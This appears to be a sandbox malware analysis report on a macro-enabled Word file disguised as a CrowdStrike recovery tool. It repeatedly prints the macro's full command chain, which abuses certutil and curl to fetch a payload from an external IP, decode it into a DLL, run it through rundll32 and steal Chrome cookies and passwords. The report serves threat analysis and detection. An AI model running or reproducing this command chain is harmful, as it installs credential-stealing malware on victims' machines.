Edit tour

Windows Analysis Report
New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Overview

General Information

Sample name:	New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm
Analysis ID:	1478411
MD5:	dd2100dfa067caae416b885637adc4ef
SHA1:	499f8881f4927e7b4a1a0448f62c60741ea6d44b
SHA256:	803727ccdf441e49096f3fd48107a5fe55c56c080f46773cd649c9e55ec1be61
Tags:	docm
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Contains functionality to steal Chrome passwords or cookies

Document contains VBA stomped code (only p-code) potentially bypassing AV detection

Document contains an embedded VBA macro which may execute processes

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with many string operations indicating source code obfuscation

Document exploit detected (process start blacklist hit)

Downloads suspicious files via Chrome

Machine Learning detection for dropped file

Office process queries suspicious COM object (likely to drop second stage)

Sigma detected: Legitimate Application Dropped Executable

Sigma detected: Suspicious Microsoft Office Child Process

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create an SMB header

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Drops PE files

Enables debug privileges

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Copy From or To System Directory

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

WINWORD.EXE (PID: 2156 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

cmd.exe (PID: 3916 cmdline: C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xcopy.exe (PID: 5308 cmdline: xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp MD5: 7E9B7CE496D09F70C072930940F9F02C)

certutil.exe (PID: 2496 cmdline: certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt MD5: 0DDA4F16AE041578B4E250AE12E06EB1)

certutil.exe (PID: 3552 cmdline: certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe MD5: 0DDA4F16AE041578B4E250AE12E06EB1)

curl.exe (PID: 2784 cmdline: C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

certutil.exe (PID: 2496 cmdline: certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll MD5: 0DDA4F16AE041578B4E250AE12E06EB1)

rundll32.exe (PID: 5068 cmdline: rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 3992 cmdline: rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain MD5: EF3179D498793BF4234F708D3BE28633)

cmd.exe (PID: 5640 cmdline: C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2144 cmdline: taskkill /F /IM chrome.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

chrome.exe (PID: 7612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1976,i,14189460158267219968,9438605418759963760,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2716 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://go.microsoft.com/fwlink/?linkid=2280386" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

WINWORD.EXE (PID: 3856 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

cmd.exe (PID: 6464 cmdline: C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xcopy.exe (PID: 7500 cmdline: xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp MD5: 7E9B7CE496D09F70C072930940F9F02C)

certutil.exe (PID: 7576 cmdline: certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt MD5: 0DDA4F16AE041578B4E250AE12E06EB1)

certutil.exe (PID: 4820 cmdline: certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe MD5: 0DDA4F16AE041578B4E250AE12E06EB1)

curl.exe (PID: 8092 cmdline: C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

certutil.exe (PID: 8116 cmdline: certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll MD5: 0DDA4F16AE041578B4E250AE12E06EB1)

rundll32.exe (PID: 5208 cmdline: rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5940 cmdline: rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain MD5: EF3179D498793BF4234F708D3BE28633)

cmd.exe (PID: 2540 cmdline: C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5680 cmdline: taskkill /F /IM chrome.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cleanup

Sigma Signatures

System Summary

Sigma detected: Legitimate Application Dropped Executable

Source: File created

Author: frack113, Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\certutil.exe, ProcessId: 3552, TargetFilename: C:\Users\user\AppData\Local\Temp\curl.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit, CommandLine: C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 2156, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe &

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit, CommandLine: C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\mscorsvc.txt & START " " rundll32 C:\Users\user\AppData\Local\Temp\mscorsvc.dll,DllMain & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ParentProcessId: 2156, ParentProcessName: WINWORD.EXE, ProcessCommandLine: C:\Windows\SysWOW64\cmd.exe /c xcopy C:\Windows\System32\curl.exe C:\Users\user\AppData\Local\Temp & certutil -f -encode C:\Users\user\AppData\Local\Temp\curl.exe C:\Users\user\AppData\Local\Temp\curl.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\curl.txt C:\Users\user\AppData\Local\Temp\curl.exe & C:\Users\user\AppData\Local\Temp\curl.exe http://172.104.160.126:8099/payload2.txt -o C:\Users\user\AppData\Local\Temp\mscorsvc.txt & certutil -f -decode C:\Users\user\AppData\Local\Temp\mscorsvc.txt C:\Users\user\AppData\Local\Temp\mscorsvc.dll & del C:\Users\user\AppData\Local\Temp\curl.exe & del C:\Users\user\AppData\Local\Temp\curl.txt & del C:\Users\user\AppData\Local\Temp\curl.exe &

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 2156, TargetFilename: C:\Users\user\Desktop\~$w_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET MALWARE Observed Certificate Base64 Encoded Executable Inbound - Source IP: 172.104.160.126 - Destination IP: 192.168.2.6

Timestamp:	2024-07-22T15:58:45.771195+0200
SID:	2029280
Source Port:	8099
Destination Port:	49195
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Observed Certificate Base64 Encoded Executable Inbound - Source IP: 172.104.160.126 - Destination IP: 192.168.2.6

Timestamp:	2024-07-22T15:57:48.044440+0200
SID:	2029280
Source Port:	8099
Destination Port:	49717
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

ReversingLabs: Detection: 26%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRC0000.tmp

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008AF02B CertGetNameStringA,CertFindExtension,CryptDecodeObjectEx,	13_2_008AF02B
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008AF820 CryptAcquireContextA,CryptCreateHash,	13_2_008AF820
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008AF860 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	13_2_008AF860
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008A6400 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	13_2_008A6400
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008AEC10 malloc,CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,	13_2_008AEC10
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008A6591 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	13_2_008A6591
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008A3EA4 _strdup,fopen,free,fseek,ftell,fread,fclose,free,free,fseek,malloc,malloc,malloc,malloc,MultiByteToWideChar,PFXImportCertStore,free,free,free,free,GetLastError,CertFindCertificateInStore,GetLastError,CertCloseStore,free,CertOpenStore,GetLastError,free,free,free,free,free,CryptStringToBinaryA,free,CertFindCertificateInStore,free,CertCloseStore,calloc,calloc,CertFreeCertificateContext,CertFreeCertificateContext,free,free,	13_2_008A3EA4
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008AC6E0 malloc,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,	13_2_008AC6E0
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008AC730 CryptHashData,	13_2_008AC730
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 13_2_008AC750 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	13_2_008AC750
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C15E30 BCryptGenRandom,	16_2_00007FFD92C15E30
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF2210 new,CryptStringToBinaryA,delete,delete,delete,CryptStringToBinaryA,CryptUnprotectData,new,delete,delete,delete,	16_2_00007FFD92BF2210
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92BF2E60 new,new,new,std::_Lockit::_Lockit,std::_Lockit::~_Lockit,std::_Lockit::_Lockit,std::_Lockit::~_Lockit,std::_Lockit::_Lockit,std::_Lockit::~_Lockit,std::_Lockit::_Lockit,std::_Lockit::~_Lockit,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptCloseAlgorithmProvider,BCryptGenerateSymmetricKey,BCryptDecrypt,BCryptDecrypt,BCryptCloseAlgorithmProvider,std::_Lockit::_Lockit,std::_Lockit::~_Lockit,std::_Lockit::_Lockit,std::_Lockit::~_Lockit,delete,delete,delete,delete,std::_Lockit::_Lockit,std::_Lockit::~_Lockit,	16_2_00007FFD92BF2E60
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C39500 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00007FFD92C39500
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C15B90 BCryptGenRandom,	16_2_00007FFD92C15B90
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C65EE0 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00007FFD92C65EE0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C65E90 CryptAcquireContextA,CryptCreateHash,	16_2_00007FFD92C65E90
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C65F70 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00007FFD92C65F70
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C5E0B0 CertOpenStore,GetLastError,CertCreateCertificateChainuser,GetLastError,CertGetCertificateChain,GetLastError,CertFreeCertificateChainuser,CertCloseStore,CertFreeCertificateChain,CertFreeCertificateContext,CertGetNameStringA,CertFindExtension,CryptDecodeObjectEx,CertGetNameStringA,CertFindExtension,CryptDecodeObjectEx,_heap_alloc,	16_2_00007FFD92C5E0B0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C64530 CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,	16_2_00007FFD92C64530
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C645B0 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00007FFD92C645B0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C645A0 CryptHashData,	16_2_00007FFD92C645A0
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C64B30 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	16_2_00007FFD92C64B30
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C5E990 CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,	16_2_00007FFD92C5E990
Source: C:\Windows\System32\rundll32.exe	Code function: 16_2_00007FFD92C66EC0 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	16_2_00007FFD92C66EC0
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0087F820 CryptAcquireContextA,CryptCreateHash,	33_2_0087F820
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0087F02B CertGetNameStringA,CertFindExtension,CryptDecodeObjectEx,	33_2_0087F02B
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0087F860 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	33_2_0087F860
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_00876400 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	33_2_00876400
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0087EC10 malloc,CryptQueryObject,CertAddCertificateContextToStore,CertFreeCertificateContext,GetLastError,GetLastError,	33_2_0087EC10
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_00876591 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	33_2_00876591
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_00873EA4 _strdup,fopen,free,fseek,ftell,fread,fclose,free,free,fseek,malloc,malloc,malloc,malloc,MultiByteToWideChar,PFXImportCertStore,free,free,free,free,GetLastError,CertFindCertificateInStore,GetLastError,CertCloseStore,free,CertOpenStore,GetLastError,free,free,free,free,free,CryptStringToBinaryA,free,CertFindCertificateInStore,free,CertCloseStore,calloc,calloc,CertFreeCertificateContext,CertFreeCertificateContext,free,free,	33_2_00873EA4
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0087C6E0 malloc,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,	33_2_0087C6E0
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0087C730 CryptHashData,	33_2_0087C730
Source: C:\Users\user\AppData\Local\Temp\curl.exe	Code function: 33_2_0087C750 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	33_2_0087C750

Source: certutil.exe, 0000000B.00000002.2149297237.0000000004620000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_eb710474-e

Source: C:\Windows\System32\rundll32.exe

Code function: mov dword ptr [rbp+04h], 424D53FFh

16_2_00007FFD92C4D7E0

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49772 version: TLS 1.0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49325 version: TLS 1.2

Source:	Binary string: curl.pdb source: xcopy.exe, 0000000A.00000002.2145898386.0000000002C0B000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2149297237.0000000004620000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2148940386.0000000002928000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000C.00000002.2154163486.00000000028A8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 0000000D.00000000.2155057954.00000000008B5000.00000002.00000001.01000000.00000007.sdmp, xcopy.exe, 0000001E.00000002.2727525467.00000000028DB000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2729026809.0000000004760000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2728920488.0000000002A08000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 00000020.00000002.2732646936.0000000002D98000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000021.00000002.2767226008.0000000000885000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: D:\c++\Mal_Cookie_x64\x64\Release\mscorsvc.pdb source: certutil.exe, 0000000E.00000003.2191196676.0000000004907000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp, certutil.exe, 00000022.00000003.2768980516.0000000004FA2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4259710787.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp

